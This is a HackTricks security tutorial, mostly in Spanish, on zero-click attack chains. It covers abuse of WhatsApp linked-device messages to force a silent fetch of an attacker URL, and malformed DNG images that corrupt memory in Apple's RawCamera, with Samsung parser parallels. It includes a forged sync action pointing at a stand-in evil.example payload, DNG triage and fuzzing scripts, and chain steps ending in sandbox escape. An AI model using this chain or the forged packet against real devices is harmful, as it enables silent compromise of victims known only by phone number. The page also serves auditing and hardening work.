Zero-click Messaging → Image Parser Chains
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
TL;DR
- Trata los messaging app multi-device/companion protocols como canales de control remoto: si se asume que los campos del protocolo provienen de dispositivos confiables, aún pueden estar controlados por el usuario y a menudo pueden ser replayed directamente contra una víctima para cargar contenido arbitrario con 0 interacción del usuario.
- Una vez que cualquier app puede ser forzada a fetch contenido no confiable, apunta al shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) con archivos malformed para pivotar fuera del sandbox.
- Los bugs basados en DNG de RawCamera y el parser de Samsung discutidos aquí son ejemplos concretos, pero la técnica completa es un blueprint reutilizable para encadenar logic flaws → image parser memory corruption → full device compromise.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
La arquitectura de WhatsApp “linked devices” mantiene el teléfono primario y cada companion (desktop, tablet, teléfono secundario) sincronizados vía mensajes de protocolo cifrados y estructurados. Cada mensaje codifica:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (p. ej., sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters como URIs, MIME hints, pagination keys, etc.
En clientes Apple, el handler que procesa estos paquetes de control linked-device implicitly trusted que ya se había realizado un emparejamiento válido, por lo que campos de alto impacto (p. ej., resource_url, open_media, sync_snapshot) recibían solo validación mínima. Un mensaje companion malicioso podría por tanto:
- Ser enrutado a cualquier cuenta identificada por su número de teléfono.
- Sobrevivir la pila de transporte (Noise protocol + WhatsApp protobuf framing) porque el receptor nunca verificó que el emisor fuera un dispositivo legítimamente emparejado.
- Alcanzar el cliente iOS, donde la ruta de código vulnerable disparaba automáticamente una petición HTTP(S) en background a la URL del atacante y parseaba la respuesta en un WebView/media renderer oculto.
Practical workflow for auditors
- Capture legitimate linked-device traffic. Conecta un debugger o un script Frida al cliente desktop/iOS y engancha el post-decryption handler (p. ej.,
LinkedDevicesSyncHandler::processAction). Vuelca los payloads protobuf decodificados para conocer los tipos de acción y parámetros disponibles. - Identify fields that cross trust boundaries. Cualquier acción que lleve parámetros
http_url,thumbnail_uri,download_urlorender_htmlsin listas de permitidos estrictas es un candidato para un primitive de contenido remoto. - Forge a malicious action. Reutiliza el esquema protobuf observado y modifica solo los campos controlados por el atacante. A continuación se muestra una vista JSON simplificada de la estructura lógica relevante (el transporte real es protobuf/Noise, pero los campos semánticos coinciden):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- Entregar a la víctima. Reenvía el paquete manipulado a través del mismo servicio de WhatsApp que normalmente reenvía el tráfico de dispositivos vinculados (p. ej., usando un cliente de escritorio modificado o un cliente Noise personalizado que reutilice las claves de la cuenta del atacante). Debido a que CVE-2025-55177 no logró asociar acciones a dispositivos autenticados, el cliente iOS/macOS de la víctima aceptaría el mensaje y recuperaría inmediatamente la URL del atacante sin ninguna UI.
- Instrumentar la petición. Observa la petición HTTP(S) forzada y el renderizador interno (WKWebView/ImageIO). En este punto tienes una primitiva de entrega web zero-click dentro de WhatsApp.
Armar DNGs decodificados automáticamente contra RawCamera
Una vez que el atacante controla lo que WhatsApp carga, el siguiente objetivo es hacer que iOS/macOS analice un archivo malicioso Digital Negative (DNG) con el framework RawCamera. Cualquier URL incrustada en <img>/CSS que resuelva a un .dng será pasada a la pipeline de imágenes del sistema, invocando RawCamera incluso si WhatsApp en sí nunca manejó DNGs de forma explícita.
Activar RawCamera desde WhatsApp
- Sirve HTML que haga referencia al DNG mediante múltiples mecanismos (p. ej.,
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), o fuentes<picture>) para cubrir diferentes rutas de renderizado. - Asegura el MIME correcto (
image/x-adobe-dng) y vistas previas pequeñas para que el cargador no descarte prematuramente por heurísticas de tamaño. - El sandbox de medios de iOS transmitirá el archivo a RawCamera vía
CGImageSourceCreateWithURL, eventualmente alcanzando el decodificador vulnerable.
Crear DNGs que corrompen la memoria (estilo CVE-2025-43300)
El bug observado en 2025 fue más específico que un TIFF malformado genérico: el DNG contenía datos de imagen JPEG-Lossless cuyo conteo de componentes interno SOF3 discrepaba con los metadatos TIFF/DNG (SamplesPerPixel). En la práctica, RawCamera podía dimensionar algunos buffers a partir de los campos externos del TIFF y luego confiar en el flujo JPEG-Lossless embebido durante la decodificación, provocando la escritura fuera de límites que se corrigió en iOS 18.6.2 / iPadOS 18.6.2 el 20 de agosto de 2025.
Eso proporciona a los auditores una regla de triaje mucho más precisa que “mutar etiquetas aleatorias”:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
Si SamplesPerPixel y el recuento de componentes SOF3 divergen, estás muy cerca de la primitiva exacta discutida públicamente para CVE-2025-43300. Palancas adyacentes típicas que todavía vale la pena fuzzing una vez que tengas la ruta de parsing son:
- Tile/strip descriptors: Establece
TileByteCounts/StripByteCountsa valores realistas pero incrementaTileOffsetspara que apunten más allá del buffer asignado. - Sub-IFD chains: Inserta imágenes secundarias con
ImageWidth/ImageLengthyBitsPerSampleconflictivos de modo que RawCamera calcule un buffer pequeño mientras las etapas posteriores confían en dimensiones controladas por el atacante. - Opcode metadata: Manipula las entradas de
OpcodeList3para que el procesamiento por fila opere sobre índices elegidos por el atacante.
Un harness básico de mutación para buscar este tipo de corrupciones puede construirse en torno a macOS, ya que el mismo código RawCamera se distribuye en macOS/iOS/iPadOS:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Cada crash en RawCamera te da una nueva primitiva. El PoC publicado logró una lectura/escritura fuera de límites lo bastante fiable como para crash/own WhatsApp en iPhone, iPad y Mac.
Building the 0-click chain
- Linked-device packet → obliga a WhatsApp a recuperar
https://evil.example/payload.htmlsin ningún toque. - Payload HTML → referencia silenciosamente
evil.dng, garantizando que RawCamera sea invocado por la pila multimedia del OS. - Malicious DNG → abusa de tags creados para disparar el OOB de RawCamera y crash/own el decodificador de imagen.
- Post-corruption exploitation → añade gadgets de info-leak (p. ej., abusando de metadata de heap predecible) y monta una cadena ROP/JOP para escapar del sandbox de WhatsApp y alcanzar contextos con más privilegios.
Porque cada paso es automático, el atacante solo necesita el número de teléfono de la víctima. No se muestran notificaciones, banners ni prompts en el dispositivo objetivo.
Recent Apple parser-chain patterns worth reusing
Esta cadena WhatsApp → DNG → RawCamera encaja en el mismo patrón de diseño visto en campañas zero-click recientes de Apple: encuentra un alternate attachment wrapper que alcanza a un parser menos restringido, luego arma un formato de archivo que el OS previsualiza con ansias.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab reportó attachments maliciosos de PassKit que contenían imágenes, y Apple parcheó
Wallet(CVE-2023-41061) yImageIO(CVE-2023-41064). El análisis posterior de Project Zero mostró por qué esto importa operacionalmente: el atacante no solo necesitaba un bug en el parser, sino también un contenedor que moviera el parsing de imágenes fuera de la ruta normal de BlastDoor hacia otro proceso. Al auditar apps de mensajería, enumera todos los tipos de attachment que disparan previsualizaciones en background en daemons auxiliares (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), no solo los attachments de imagen evidentes. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky mostró que un attachment malicioso de iMessage explotó la instrucción Apple-only
ADJUSTde TrueType (CVE-2023-41990). La lección práctica es que las fuentes son primas de los parsers de imagen para trabajo zero-click: las previsualizaciones de rich-text, el font fallback y la generación de thumbnails pueden convertirse en puntos de entrada del parser incluso cuando la app dice soportar solo “documents” o “stickers”.
La pregunta recurrente de auditoría es por tanto: ¿qué tipos de mensaje causan parsing silencioso en un proceso distinto al renderizador obvio del chat? Ahí suele comenzar la cadena. Para triage de muestras y chequeos de consistencia cross-field una vez que tengas un archivo sospechoso, reutiliza this generic structural file-format detection page.
Samsung vendor image parser parallels
El boletín de Samsung para CVE-2025-21043 confirmó que su stack propietario de parsing de imágenes (usado por Gallery, Messages y también indirectamente por WhatsApp) sufrió una out-of-bounds write alcanzable a través de medios no confiables. La metodología de explotación refleja la cadena de Apple:
- Identificar un vector de auto-preview (thumbnails de chat, notificación previews, share sheets) que parsea el archivo del atacante con las librerías
libimagecodec/libOneUI_ImageDecoderde Samsung. - Diferenciar actualizaciones de la librería OEM o fuzzear parsers con archivos RAW/DNG malformados hasta ver corrupciones de memoria similares al crash de RawCamera (clobber de metadata de heap, control de registros, etc.).
- Entregar el archivo creado mediante cualquier canal que ya cargue contenido automáticamente (p. ej., el mismo linked-device primitive, fetchers de preview de WhatsApp, o las previsualizaciones de waveforms push-to-talk de Android).
Una vez que existe una escritura OOB en el parser del vendor, combinarla con el primitive de auto-fetch de WhatsApp produce otra cadena zero-click en dispositivos Samsung.
Testing & hardening checklist
- Protocol validation: Imponer listas de permitidos estrictas para cada acción linked-device. Los comandos de companion que solicitan un fetch/render deben probar el emparejamiento del dispositivo (firmando el payload) y la URL debe coincidir con una allow-list o un blob firmado.
- Transport replay countermeasures: Bindear cada acción a una key por dispositivo y rechazar paquetes cuya sender key sea desconocida, incluso si la sintaxis protobuf es correcta.
- Media pipeline restrictions: Las apps de alto nivel deberían permitir solo MIME types aprobados y rechazar explícitamente RAW/DNG salvo que la funcionalidad sea requerida.
- Parser fuzzing regression tests: Mantener un corpus de archivos RAW/DNG malformados y ejecutarlos contra RawCamera/decoders del vendor después de cada actualización.
- Crash triage automation: Adjuntar sanitizers vía
DYLD_INSERT_LIBRARIESo MTE en dispositivos de fuzz para detectar condiciones OOB sutiles antes que los atacantes.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


